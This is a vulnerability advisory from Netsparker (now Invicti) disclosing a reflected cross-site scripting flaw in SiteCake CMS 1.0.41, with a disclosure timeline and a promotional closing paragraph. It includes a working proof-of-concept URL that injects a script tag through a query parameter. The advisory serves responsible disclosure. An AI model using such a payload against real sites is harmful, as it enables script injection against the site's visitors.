XSS Vulnerability in SiteCake
Information
Advisory by Netsparker (now Invicti)
Name: XSS Vulnerability in SiteCake
Software: SiteCake 1.0.41 and possibly below.
Vendor Homepage: http://sitecake.com/
Vulnerability Type: Cross-site Scripting
Severity: Critical
Researcher: Omar Kurt
Advisory Reference: NS-14-027
Description
Simple, drag and drop CMS for easy editing
Details
SiteCake is affected by XSS vulnerability 1.0.41.
SiteCake PoC urls are as follows:
- Cross-site Scripting
http://example.com/sitecake/sitecake/server/sitecake_entry.php?controller=session&nsextt='"--></style></scRipt><scRipt>alert(0x000083)</scRipt>
Learn more about Cross-site Scripting vulnerabilities here:
Solution
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Advisory Timeline
12/06/2014 – First Contact
13/06/2014 – Second Contact
14/08/2014 – Advisory released
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
About Invicti
Invicti® can find and report security issues such as SQL Injection and Cross-site Scripting (XSS) in all web applications regardless of the platform and the technology they are built on. Invicti’s unique detection and exploitation techniques allows it to be dead accurate in reporting hence it’s the first and the only False Positive Free web application security scanner.
